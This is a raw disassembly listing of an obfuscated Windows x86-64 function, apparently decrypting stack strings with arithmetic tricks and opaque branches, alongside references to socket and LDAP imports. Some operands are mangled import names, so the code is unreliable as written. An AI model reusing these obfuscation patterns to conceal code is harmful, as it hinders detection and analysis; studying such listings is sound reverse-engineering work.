mov byte [rbp + 0x68c], 0x88
mov byte [rbp + 0x68d], 0xb8
mov byte [rbp + 0x68e], 0xb3
mov byte [rbp + 0x68f], 0xbf
mov byte [rbp + 0x690], 0xba
mov byte [rbp + 0x691], WSASetLastError
mov byte [rbp + 0x692], 0xbf
mov byte [rbp + 0x693], 0xba
mov byte [rbp + 0x694], 0xba
mov byte [rbp + 0x695], 0xbf
mov byte [rbp + 0x696], 0xb5
mov byte [rbp + 0x697], 0xb3
mov byte [rbp + 0x698], 0xbd
mov byte [rbp + 0x699], 0x66
mov byte [rbp + 0x69a], 0xb8
mov byte [rbp + 0x69b], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x69c], xmm0
mov dword [rbp + 0x6ac], eax
mov word [rbp + 0x6b0], ax
mov byte [rbp + 0x6b2], al
movabs rsi, 0xba0fd18f2b2ecb73
movabs r15, 0x166ebaea2e479025
movabs r14, 0x2e2f74ad818c6259
movzx r11d, byte [rsp + 0x30]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x93
jae 0x1400bf383
movzx ebx, byte [rbp + rdi + 0x620]
mov edx, ebx
nop word [rax + rax]
cmp r8, rdi
ja 0x1400bf37a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be7ac
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x25
jmp 0x1400be7e5
je 0x1400bf313
inc rax
cmp r8, rax
je 0x1400bf291
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bf23b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bf21c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bf1d7
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400bf371
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400be819
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 9
jmp 0x1400be860
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bf1c0
inc rax
cmp r8, rax
je 0x1400bf19e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bf184
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf168
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bf13b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bedb9
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bed9a
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bed75
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bed53
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bed34
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bed19
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400becfe
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400becdf
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400becbf
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bec93
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400be870
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bf356
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bf33b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bea49
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bea2f
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400bea15
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bec47
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400bebfe
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bebc0
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400beb9a
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400be870
lea r8, [r9 + 0x41]
lea r9, [r8 + 8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400beb69
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400beb4a
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400beb2b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400beb0b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400beaf0
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bead2
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400beaac
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bea83
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bea65
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400be870
lea r8, [r9 + 9]
lea r9, [r8 + 0x200]
jmp 0x1400be870
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
jmp 0x1400be860
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x33
jmp 0x1400be7f0
sub r10b, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x7d
jmp 0x1400be780
lea edx, [r10 + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400bf1f0
sub r10b, 0x6e
movzx eax, bl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400be763
sub r10b, 0x54
movzx eax, bl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400be763
lea edx, [r10 - 0x3a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
add r11b, dl
jmp 0x1400bf254
sub r10b, 0x20
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x20
jmp 0x1400bf275
sub r10b, 6
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400bf278
lea edx, [r10 + 0x14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf2a7
add r10b, 0x2e
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x42
add r11b, r10b
jmp 0x1400bf2d1
add r10b, 0x48
movzx eax, bl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
add r10b, 9
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x3f
mov byte [rbp + rdi + 0x620], r11b
inc rdi
jmp 0x1400be763
lea edx, [r10 + 0x23]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xb
add r11b, dl
cmp r9, 9
jb 0x1400bebb0
lea edx, [r10 - 0x2e]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x7c]
jmp 0x1400bf1f0
lea edx, [r10 + 0x3d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
cmp r8, 0x41
jae 0x1400bf104
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400befd5
lea edx, [r10 - 0x2a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400bebd6
lea edx, [r10 + 0x57]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x61
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400bf125
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400bef07
lea edx, [r10 + 0x67]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2f
jmp 0x1400bec14
sub r10b, 0x66
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x36
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
sub r10b, 0x4c
movzx eax, bl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400bf2d1
lea edx, [r10 - 0x32]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf2a7
sub r10b, 0x18
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x58
jmp 0x1400bf278
add r10b, 2
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0xe
jmp 0x1400bf275
lea edx, [r10 + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf254
add r10b, 0x36
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7a
dec rdi
inc rdi
jmp 0x1400be763
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400be763
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf1f0
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400beddc
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
jmp 0x1400bec60
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bee12
sub r10b, 0x22
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x12
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
inc rax
cmp r8, rax
jne 0x1400bee36
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
jmp 0x1400bf2d1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bee5b
add r10b, 0x76
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x3a
jmp 0x1400bf275
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bee83
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf254
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400beeb2
add r10b, 0x42
movzx eax, r10b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400be763
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400beee0
add r10b, 0x28
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x18
inc r9
dec rdi
inc rdi
jmp 0x1400be763
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bec60
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x1400bf1f0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bef2e
lea edx, [r10 + 0x4d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1b
add r11b, dl
jmp 0x1400bf1f0
inc rax
cmp r8, rax
jne 0x1400bef51
sub r10b, 0x1b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x43
jmp 0x1400bf275
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bef75
sub r10b, 0x35
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x73
jmp 0x1400bf278
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bef9c
lea edx, [r10 - 0x4f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x29
add r11b, dl
jmp 0x1400bf2a7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bec17
add r10b, 0x7d
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x6b
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf00a
sub r10b, 0x44
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
inc rax
cmp r8, rax
jne 0x1400bf031
lea edx, [r10 - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf2a7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf055
add r10b, 0x6e
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 2
jmp 0x1400bf278
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf07d
lea edx, [r10 + 0x3a]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf254
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf0ac
add r10b, 0x20
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400be763
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf0d9
add r10b, 6
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x2a
inc r9
dec rdi
inc rdi
jmp 0x1400be763
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bebd9
lea edx, [r10 - 0x14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
add r11b, dl
jmp 0x1400bf1f0
lea edx, [r10 - 0x48]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
add r11b, bl
jmp 0x1400bf254
lea ecx, [r10 - 0x62]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x52]
jmp 0x1400bf2a7
sub r10b, 0x7b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x5d
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
sub r10b, 0x2d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x3b
jmp 0x1400bf278
lea ecx, [r10 + 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x31
jmp 0x1400bf254
add r10b, 0x21
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x19
dec rdi
inc rdi
jmp 0x1400be763
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x53
jmp 0x1400bf1f0
movzx r10d, dil
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x41
add r10b, 0x45
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x1d
add r10b, bl
mov byte [rbp + rdi + 0x620], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400be763
lea ecx, [rdi - 0x43]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2b
dec rdi
inc rdi
jmp 0x1400be763
movzx r10d, dil
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1f
add r10b, 0x2b
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2d
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0x620], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400be763
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 3
movzx r10d, dil
add r10b, 0x11
movzx eax, bl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x77
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x620], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x7c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x620], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x6f
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400be763
sub r10b, 0x41
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x39
jmp 0x1400be760
sub r10b, 0x27
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x11
jmp 0x1400be750
lea rdx, [rbp + 0x170b764]
jmp 0x1400bf38a
lea rdx, [rbp + 0x11f82d7]
jmp 0x1400bf38a
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x958]
call fcn.1400042d0
nop
movzx eax, word [0x1401b30ac]
sub al, 8
xor al, 0x48
mov byte [rbp + 0x1a8], al
movzx eax, byte [0x1401b30ad]
sub al, 8
xor al, 0x49
mov byte [rbp + 0x1a9], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1aa], xmm0
movups xmmword [rbp + 0x1ba], xmm0
mov byte [rbp + 0x1ca], al
movabs r14, 0x532af292c510b48
movabs r12, 0x2462ca2036374ef8
movabs r15, 0xf980d7b84f321d8
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400bff0d
movzx ebx, byte [rbp + rdi + 0x1a8]
mov esi, ebx
cmp r8, rdi
ja 0x1400bff04
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bf453
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
add r11b, 8
jmp 0x1400bf47f
je 0x1400bfe8c
inc rax
cmp r8, rax
je 0x1400bfe02
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfdcd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bfda9
movzx r10d, dil
cmp r9, rdi
ja 0x1400bfefb
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400bf4ac
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400bf4e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bfd67
inc rax
cmp r8, rax
je 0x1400bfd2e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfd12
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bfcf2
nop
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bfa13
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bf9f4
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bf9cf
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bf9ad
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfaab
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bf991
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bf975
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bf95b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bf93f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bf912
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bf4f0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bfedb
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bfebb
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bf6db
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bf6bc
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bf69d
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x1400bf8c6
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bf87e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bf841
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bf81a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bf4f0
mov r8, rcx
lea r9, [rcx + 3]
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400bf7ed
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400bf7d1
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400bf7b7
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400bf79b
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400bf788
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400bf769
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400bf743
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400bf71a
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400bf6fb
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400bf4f0
lea r8, [r9 + 9]
lea r9, [r8 + 8]
jmp 0x1400bf4f0
lea edx, [r10 + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf4e0
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf483
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bf427
lea edx, [r10 + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfd7c
sub r10b, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400bf413
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400bf413
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfd43
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
jmp 0x1400bfde6
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
jmp 0x1400bfde9
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400bfe1f
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x1400bfe4a
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x1a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf413
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
mov byte [rbp + rdi + 0x1a8], r11b
inc rdi
jmp 0x1400bf413
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
cmp r9, 0x3e8
jb 0x1400bf831
lea ecx, [r10 - 0x50]
movzx eax, cl
and al, bl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400bfd7c
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 5
jae 0x1400bfcbc
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400bfc15
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x1400bf856
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400bfcd6
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bfb45
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400bf898
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x1a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf413
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
jmp 0x1400bfe4a
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400bfe1f
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1400bfde9
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
jmp 0x1400bfde6
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x1400bf413
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400bf413
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfd7c
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400bfa2f
lea edx, [r10 + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
jmp 0x1400bf8d4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bfa55
sub r10b, 0x30
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bfea2
inc rax
cmp r8, rax
jne 0x1400bfa7d
add r10b, 0x60
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfe4a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfaa2
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
jmp 0x1400bfde6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfac5
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x1400bfd43
